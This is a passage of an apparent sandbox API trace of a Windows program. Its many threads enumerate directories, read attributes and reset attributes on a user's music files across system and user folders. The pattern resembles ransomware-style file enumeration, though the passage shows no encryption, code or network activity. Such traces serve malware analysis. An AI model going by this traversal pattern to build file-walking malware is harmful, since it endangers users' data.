"c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif")) Thread: id = 1452 os_tid = 0x1580 [0065.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif")) Thread: id = 1453 os_tid = 0x1804 [0065.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif")) Thread: id = 1454 os_tid = 0x1808 [0065.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif")) Thread: id = 1455 os_tid = 0x180c [0065.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif")) Thread: id = 1456 os_tid = 0x1810 [0065.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif")) Thread: id = 1457 os_tid = 0x1814 [0065.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif")) Thread: id = 1458 os_tid = 0x1818 [0066.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif")) Thread: id = 1459 os_tid = 0x181c [0066.162] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url")) Thread: id = 1460 os_tid = 0x1820 [0066.162] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url")) Thread: id = 1461 os_tid = 0x1824 [0066.167] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url")) Thread: id = 1462 os_tid = 0x1828 [0066.171] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url")) Thread: id = 1463 os_tid = 0x182c [0066.182] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url")) Thread: id = 1464 os_tid = 0x1830 [0066.183] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url")) Thread: id = 1465 os_tid = 0x1834 [0066.183] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\r8qw.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\a1-m\\r8qw.mp3")) returned 0x20 [0066.183] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\r8qw.mp3", dwFileAttributes=0x20) Thread: id = 1466 os_tid = 0x1838 [0066.184] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\rAGco35sn61BU.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\a1-m\\ragco35sn61bu.mp3")) returned 0x20 [0066.184] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\rAGco35sn61BU.mp3", dwFileAttributes=0x20) Thread: id = 1467 os_tid = 0x183c [0066.184] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\uQuVJUDsyzKmXWxTOwt.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\a1-m\\uquvjudsyzkmxwxtowt.wav")) returned 0x20 [0066.184] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\uQuVJUDsyzKmXWxTOwt.wav", dwFileAttributes=0x20) Thread: id = 1468 os_tid = 0x1840 [0066.184] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\wq6vn4iBvHyq8tj.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\a1-m\\wq6vn4ibvhyq8tj.m4a")) returned 0x20 [0066.185] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\wq6vn4iBvHyq8tj.m4a", dwFileAttributes=0x20) Thread: id = 1469 os_tid = 0x1844 [0066.185] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\yNC6_n.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\a1-m\\ync6_n.mp3")) returned 0x20 [0066.185] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\yNC6_n.mp3", dwFileAttributes=0x20) Thread: id = 1470 os_tid = 0x1848 [0066.185] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x44ab50 [0066.185] wcscpy (in: _Dest=0x44ab50, _Source="C:\\Users\\All Users\\Microsoft\\Assistance" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Assistance") returned="C:\\Users\\All Users\\Microsoft\\Assistance" [0066.185] wcscat (in: _Dest=0x44ab50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Assistance\\") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\" [0066.185] wcscat (in: _Dest=0x44ab50, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Assistance\\*") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\*" [0066.185] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45a168 [0066.185] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\*", lpFindFileData=0x45a168 | out: lpFindFileData=0x45a168*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409c28 [0066.186] wcscmp (_String1=".", _String2=".") returned 0 [0066.186] FindNextFileW (in: hFindFile=0x409c28, lpFindFileData=0x45a168 | out: lpFindFileData=0x45a168*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.186] wcscmp (_String1="..", _String2=".") returned 1 [0066.186] wcscmp (_String1="..", _String2="..") returned 0 [0066.186] FindNextFileW (in: hFindFile=0x409c28, lpFindFileData=0x45a168 | out: lpFindFileData=0x45a168*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1 [0066.186] wcscmp (_String1="Client", _String2=".") returned 1 [0066.186] wcscmp (_String1="Client", _String2="..") returned 1 [0066.186] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5e) returned 0x48d320 [0066.186] wcscpy (in: _Dest=0x48d320, _Source="C:\\Users\\All Users\\Microsoft\\Assistance" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Assistance") returned="C:\\Users\\All Users\\Microsoft\\Assistance" [0066.186] wcscat (in: _Dest=0x48d320, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Assistance\\") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\" [0066.186] wcscat (in: _Dest=0x48d320, _Source="Client" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Assistance\\Client") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client" Thread: id = 1471 os_tid = 0x184c [0066.186] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x414200 [0066.186] wcscpy (in: _Dest=0x414200, _Source="C:\\Users\\All Users\\Microsoft\\Crypto" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto" [0066.186] wcscat (in: _Dest=0x414200, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\" [0066.186] wcscat (in: _Dest=0x414200, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\*" [0066.187] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45b4a8 [0066.187] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\*", lpFindFileData=0x45b4a8 | out: lpFindFileData=0x45b4a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a468 [0066.187] wcscmp (_String1=".", _String2=".") returned 0 [0066.187] FindNextFileW (in: hFindFile=0x40a468, lpFindFileData=0x45b4a8 | out: lpFindFileData=0x45b4a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.187] wcscmp (_String1="..", _String2=".") returned 1 [0066.187] wcscmp (_String1="..", _String2="..") returned 0 [0066.187] FindNextFileW (in: hFindFile=0x40a468, lpFindFileData=0x45b4a8 | out: lpFindFileData=0x45b4a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1 [0066.187] wcscmp (_String1="DSS", _String2=".") returned 1 [0066.187] wcscmp (_String1="DSS", _String2="..") returned 1 [0066.187] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x4149e8 [0066.187] wcscpy (in: _Dest=0x4149e8, _Source="C:\\Users\\All Users\\Microsoft\\Crypto" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto" [0066.187] wcscat (in: _Dest=0x4149e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\" [0066.187] wcscat (in: _Dest=0x4149e8, _Source="DSS" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS" Thread: id = 1472 os_tid = 0x1850 [0066.187] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x44a430 [0066.187] wcscpy (in: _Dest=0x44a430, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage") returned="C:\\Users\\All Users\\Microsoft\\Device Stage" [0066.187] wcscat (in: _Dest=0x44a430, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\" [0066.188] wcscat (in: _Dest=0x44a430, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\*") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\*" [0066.188] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45b978 [0066.188] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\*", lpFindFileData=0x45b978 | out: lpFindFileData=0x45b978*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a0a8 [0066.188] wcscmp (_String1=".", _String2=".") returned 0 [0066.188] FindNextFileW (in: hFindFile=0x40a0a8, lpFindFileData=0x45b978 | out: lpFindFileData=0x45b978*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.188] wcscmp (_String1="..", _String2=".") returned 1 [0066.188] wcscmp (_String1="..", _String2="..") returned 0 [0066.188] FindNextFileW (in: hFindFile=0x40a0a8, lpFindFileData=0x45b978 | out: lpFindFileData=0x45b978*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1 [0066.188] wcscmp (_String1="Device", _String2=".") returned 1 [0066.188] wcscmp (_String1="Device", _String2="..") returned 1 [0066.188] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x5e46e28 [0066.188] wcscpy (in: _Dest=0x5e46e28, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage") returned="C:\\Users\\All Users\\Microsoft\\Device Stage" [0066.188] wcscat (in: _Dest=0x5e46e28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\" [0066.188] wcscat (in: _Dest=0x5e46e28, _Source="Device" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" Thread: id = 1473 os_tid = 0x1854 [0066.189] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x44a3d0 [0066.189] wcscpy (in: _Dest=0x44a3d0, _Source="C:\\Users\\All Users\\Microsoft\\DeviceSync" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DeviceSync") returned="C:\\Users\\All Users\\Microsoft\\DeviceSync" [0066.189] wcscat (in: _Dest=0x44a3d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DeviceSync\\") returned="C:\\Users\\All Users\\Microsoft\\DeviceSync\\" [0066.189] wcscat (in: _Dest=0x44a3d0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DeviceSync\\*") returned="C:\\Users\\All Users\\Microsoft\\DeviceSync\\*" [0066.189] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x458958 [0066.189] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\*", lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409be8 [0066.189] wcscmp (_String1=".", _String2=".") returned 0 [0066.189] FindNextFileW (in: hFindFile=0x409be8, lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.189] wcscmp (_String1="..", _String2=".") returned 1 [0066.189] wcscmp (_String1="..", _String2="..") returned 0 [0066.189] FindNextFileW (in: hFindFile=0x409be8, lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0066.189] FindClose (in: hFindFile=0x409be8 | out: hFindFile=0x409be8) returned 1 [0066.189] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x458958) returned 1 [0066.190] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a3d0) returned 1 [0066.190] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414048) returned 1 Thread: id = 1474 os_tid = 0x1858 [0066.190] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x46) returned 0x444fa0 [0066.190] wcscpy (in: _Dest=0x444fa0, _Source="C:\\Users\\All Users\\Microsoft\\DRM" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM") returned="C:\\Users\\All Users\\Microsoft\\DRM" [0066.190] wcscat (in: _Dest=0x444fa0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM\\") returned="C:\\Users\\All Users\\Microsoft\\DRM\\" [0066.190] wcscat (in: _Dest=0x444fa0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM\\*") returned="C:\\Users\\All Users\\Microsoft\\DRM\\*" [0066.190] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x458958 [0066.191] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\*", lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409be8 [0066.191] wcscmp (_String1=".", _String2=".") returned 0 [0066.191] FindNextFileW (in: hFindFile=0x409be8, lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.191] wcscmp (_String1="..", _String2=".") returned 1 [0066.191] wcscmp (_String1="..", _String2="..") returned 0 [0066.191] FindNextFileW (in: hFindFile=0x409be8, lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0066.191] wcscmp (_String1="Server", _String2=".") returned 1 [0066.191] wcscmp (_String1="Server", _String2="..") returned 1 [0066.191] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x414048 [0066.191] wcscpy (in: _Dest=0x414048, _Source="C:\\Users\\All Users\\Microsoft\\DRM" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM") returned="C:\\Users\\All Users\\Microsoft\\DRM" [0066.191] wcscat (in: _Dest=0x414048, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM\\") returned="C:\\Users\\All Users\\Microsoft\\DRM\\" [0066.191] wcscat (in: _Dest=0x414048, _Source="Server" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM\\Server") returned="C:\\Users\\All Users\\Microsoft\\DRM\\Server" Thread: id = 1475 os_tid = 0x185c [0066.192] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x413f98 [0066.192] wcscpy (in: _Dest=0x413f98, _Source="C:\\Users\\All Users\\Microsoft\\eHome" | out: _Dest="C:\\Users\\All Users\\Microsoft\\eHome") returned="C:\\Users\\All Users\\Microsoft\\eHome" [0066.192] wcscat (in: _Dest=0x413f98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\eHome\\") returned="C:\\Users\\All Users\\Microsoft\\eHome\\" [0066.192] wcscat (in: _Dest=0x413f98, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\eHome\\*") returned="C:\\Users\\All Users\\Microsoft\\eHome\\*" [0066.192] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x458bc0 [0066.192] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\*", lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409f68 [0066.192] wcscmp (_String1=".", _String2=".") returned 0 [0066.192] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.192] wcscmp (_String1="..", _String2=".") returned 1 [0066.192] wcscmp (_String1="..", _String2="..") returned 0 [0066.192] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1 [0066.192] wcscmp (_String1="logs", _String2=".") returned 1 [0066.192] wcscmp (_String1="logs", _String2="..") returned 1 [0066.192] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x4140f8 [0066.192] wcscpy (in: _Dest=0x4140f8, _Source="C:\\Users\\All Users\\Microsoft\\eHome" | out: _Dest="C:\\Users\\All Users\\Microsoft\\eHome") returned="C:\\Users\\All Users\\Microsoft\\eHome" [0066.192] wcscat (in: _Dest=0x4140f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\eHome\\") returned="C:\\Users\\All Users\\Microsoft\\eHome\\" [0066.192] wcscat (in: _Dest=0x4140f8, _Source="logs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\eHome\\logs") returned="C:\\Users\\All Users\\Microsoft\\eHome\\logs" Thread: id = 1476 os_tid = 0x1860 [0066.193] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x44a3d0 [0066.193] wcscpy (in: _Dest=0x44a3d0, _Source="C:\\Users\\All Users\\Microsoft\\Event Viewer" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer" [0066.193] wcscat (in: _Dest=0x44a3d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\" [0066.193] wcscat (in: _Dest=0x44a3d0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\*") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\*" [0066.193] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45b710 [0066.193] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\*", lpFindFileData=0x45b710 | out: lpFindFileData=0x45b710*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, 